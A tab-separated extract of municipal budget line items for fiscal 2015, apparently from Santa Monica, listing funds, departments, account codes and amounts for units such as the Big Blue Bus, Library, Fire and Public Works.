13872	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	23554.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23554.0
13873	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	80000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80000.0
13874	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544220.0	REPAIR PARTS AND MATERIALS		 Supplies and Expenses	2015	1358773.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1358773.0
13875	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	404760.0	RENT/PROP FEES - KEC	618.0	Rentals	2015	-4600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4600.0
13876	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522620.0	RENT	816.0	 Supplies and Expenses	2015	270467.0	0	0	0	0	0	0.0	0	0	0	0	0.0	270467.0
13877	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511490.0	OVERTIME	812.0	Salaries and Wages	2015	1021.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1021.0
13878	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2015	231138.0	0	0	0	0	0	0.0	0	0	0	0	0.0	231138.0
13879	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522120.0	UTILITIES - NATURAL GAS	812.0	 Supplies and Expenses	2015	11000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11000.0
13880	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522130.0	UTILITIES - WATER	812.0	 Supplies and Expenses	2015	51775.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51775.0
13881	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2015	9011.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9011.0
13882	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2015	9601.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9601.0
13883	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533160.0	PHOTO EQUIPMENT MAINTENANCE	806.0	 Supplies and Expenses	2015	2038.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2038.0
13884	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2015	574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	574.0
13885	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533120.0	SPECIAL EQUIP MAINT		 Supplies and Expenses	2015	731.0	0	0	0	0	0	0.0	0	0	0	0	0.0	731.0
13886	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13887	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	32580.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32580.0
13888	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2015	29174.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29174.0
13889	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2015	3087.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3087.0
13890	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	44775.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44775.0
13891	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2015	9047.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9047.0
13892	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2015	10435.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10435.0
13893	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	566240.0	PARKING METER ENFORCEMENT	806.0	 Supplies and Expenses	2015	32652.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32652.0
13894	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2015	65160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	65160.0
13895	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2015	6392.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6392.0
13896	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2015	5643.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5643.0
13897	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2015	30043.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30043.0
13898	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2015	1249156.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1249156.0
13899	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2015	49082.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49082.0
13900	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2015	41509.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41509.0
13901	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	1005804.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1005804.0
13902	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13903	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	6599.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6599.0
13904	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	108353.0	0	0	0	0	0	0.0	0	0	0	0	0.0	108353.0
13905	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	40618.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40618.0
13906	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2015	61887.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61887.0
13907	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533180.0	TRANSFER STATION OPERATIONS	808.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
13908	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2015	99779.0	0	0	0	0	0	0.0	0	0	0	0	0.0	99779.0
13909	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13910	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2015	300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300.0
13911	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2015	4072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4072.0
13912	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	510000.0	SALARIES AND WAGES	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13913	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522160.0	TRANSFER STATION FEE	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13914	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	2755.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2755.0
13915	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	2755.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2755.0
13916	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522720.0	MILEAGE	812.0	 Supplies and Expenses	2015	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
13917	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	1995.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1995.0
13918	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	27265.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27265.0
13919	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2015	3135.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3135.0
13920	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2015	2306075.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2306075.0
13921	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2015	127460.0	0	0	0	0	0	0.0	0	0	0	0	0.0	127460.0
13922	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	588000.0	CAPITAL OUTLAY	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13923	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511730.0	WORKERS' COMP INSURANCE	812.0	Salaries and Wages	2015	75720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75720.0
13924	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522110.0	UTIL - LIGHT / POWER	812.0	 Supplies and Expenses	2015	317858.0	0	0	0	0	0	0.0	0	0	0	0	0.0	317858.0
13925	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	3895.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3895.0
13926	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	1045.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1045.0
13927	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	760.0	0	0	0	0	0	0.0	0	0	0	0	0.0	760.0
13928	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	285.0	0	0	0	0	0	0.0	0	0	0	0	0.0	285.0
13929	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533120.0	SPECIAL EQUIP MAINT	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13930	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	1606.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1606.0
13931	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	3193.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3193.0
13932	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555012.0	OUTSIDE REPAIRS - SERVICE VEHC		 Supplies and Expenses	2015	75750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75750.0
13933	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2015	2100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2100.0
13934	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	3558128.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3558128.0
13935	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	16100380.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16100380.0
13936	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2015	320.0	0	0	0	0	0	0.0	0	0	0	0	0.0	320.0
13937	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	71809.0	0	0	0	0	0	0.0	0	0	0	0	0.0	71809.0
13938	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2015	226.0	0	0	0	0	0	0.0	0	0	0	0	0.0	226.0
13939	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	4940.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4940.0
13940	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13941	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	95.0	0	0	0	0	0	0.0	0	0	0	0	0.0	95.0
13942	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522820.0	CONFERENCES/MEETINGS/TRAVEL	812.0	 Supplies and Expenses	2015	17500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17500.0
13943	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522210.0	UTILITIES - TELEPHONE	812.0	 Supplies and Expenses	2015	17713.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17713.0
13944	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	4560.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4560.0
13945	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	2850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2850.0
13946	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	285.0	0	0	0	0	0	0.0	0	0	0	0	0.0	285.0
13947	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522610.0	EQUIPMENT RENTAL	812.0	 Supplies and Expenses	2015	55000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55000.0
13948	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	70965.0	0	0	0	0	0	0.0	0	0	0	0	0.0	70965.0
13949	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555010.0	CONTRACTUAL SERVICES	812.0	 Supplies and Expenses	2015	107000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	107000.0
13950	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566030.0	ARTS PROGRAM	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13951	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544120.0	PERIODICALS	812.0	 Supplies and Expenses	2015	84000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	84000.0
13952	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2015	165825.0	0	0	0	0	0	0.0	0	0	0	0	0.0	165825.0
13953	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2015	522580.0	0	0	0	0	0	0.0	0	0	0	0	0.0	522580.0
13954	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	795140.0	0	0	0	0	0	0.0	0	0	0	0	0.0	795140.0
13955	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	150000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150000.0
13956	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	3041765.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3041765.0
13957	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522912.0	OIL FOR REVENUE EQUIPMENT		 Supplies and Expenses	2015	153750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	153750.0
13958	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13959	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2015	527.0	0	0	0	0	0	0.0	0	0	0	0	0.0	527.0
13960	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2015	2800000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2800000.0
13961	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	7590.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7590.0
13962	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533220.0	BLDG / STRUCTURE MAINTENANCE	812.0	 Supplies and Expenses	2015	65000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	65000.0
13963	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	5700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5700.0
13964	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	1505.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1505.0
13965	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2015	4868.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4868.0
13966	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
13967	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	522042.0	RECOVERIES OF PHYSICAL DAMAGE		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13968	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511490.0	OVERTIME	806.0	Salaries and Wages	2015	37897.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37897.0
13969	BA	IS	1	General Fund	310	FIRE	315	TRAINING	588090.0	FURNITURE & FURNISHINGS	806.0	 Supplies and Expenses	2015	7644.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7644.0
13970	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511690.0	OUTSIDE TEMP AGENCY EMPLOYEES	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13971	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2015	100085.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100085.0
13972	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2015	113416.0	0	0	0	0	0	0.0	0	0	0	0	0.0	113416.0
13973	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	420748.0	0	0	0	0	0	0.0	0	0	0	0	0.0	420748.0
13974	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522130.0	UTILITIES - WATER		 Supplies and Expenses	2015	46703.0	0	0	0	0	0	0.0	0	0	0	0	0.0	46703.0
13975	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	26040.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26040.0
13976	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	3990.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3990.0
13977	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	2850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2850.0
13978	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522500.0	BOARDS AND COMMISSIONS	812.0	 Supplies and Expenses	2015	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
13979	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	4845.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4845.0
13980	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522910.0	VEHICLES - FUELS / LUBRICATION	812.0	 Supplies and Expenses	2015	1120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1120.0
13981	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2015	57477.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57477.0
13982	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2015	25270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25270.0
13983	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522320.0	METERED POSTAGE	848.0	 Supplies and Expenses	2015	12216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12216.0
13984	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	908.0	 Supplies and Expenses	2015	-73061.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-73061.0
13985	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	910.0	 Supplies and Expenses	2015	52421.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52421.0
13986	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2015	587238.0	0	0	0	0	0	0.0	0	0	0	0	0.0	587238.0
13987	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522070.0	DEPOSITION COSTS	862.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13988	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522100.0	EXPERT WITNESS COSTS	862.0	 Supplies and Expenses	2015	60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60000.0
13989	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555060.0	PROFESSIONAL SERVICES	862.0	 Supplies and Expenses	2015	16750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16750.0
13990	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	7073.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7073.0
13991	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	310.0
13992	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2015	209374.0	0	0	0	0	0	0.0	0	0	0	0	0.0	209374.0
13993	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	714711.0	0	0	0	0	0	0.0	0	0	0	0	0.0	714711.0
13994	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	74520.0	0	0	0	0	0	0.0	0	0	0	0	0.0	74520.0
13995	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544260.0	BIN REPAIR	808.0	 Supplies and Expenses	2015	66500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	66500.0
13996	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544270.0	BIN PARTS	808.0	 Supplies and Expenses	2015	72000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72000.0
13997	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	478628.0	0	0	0	0	0	0.0	0	0	0	0	0.0	478628.0
13998	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	1664.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1664.0
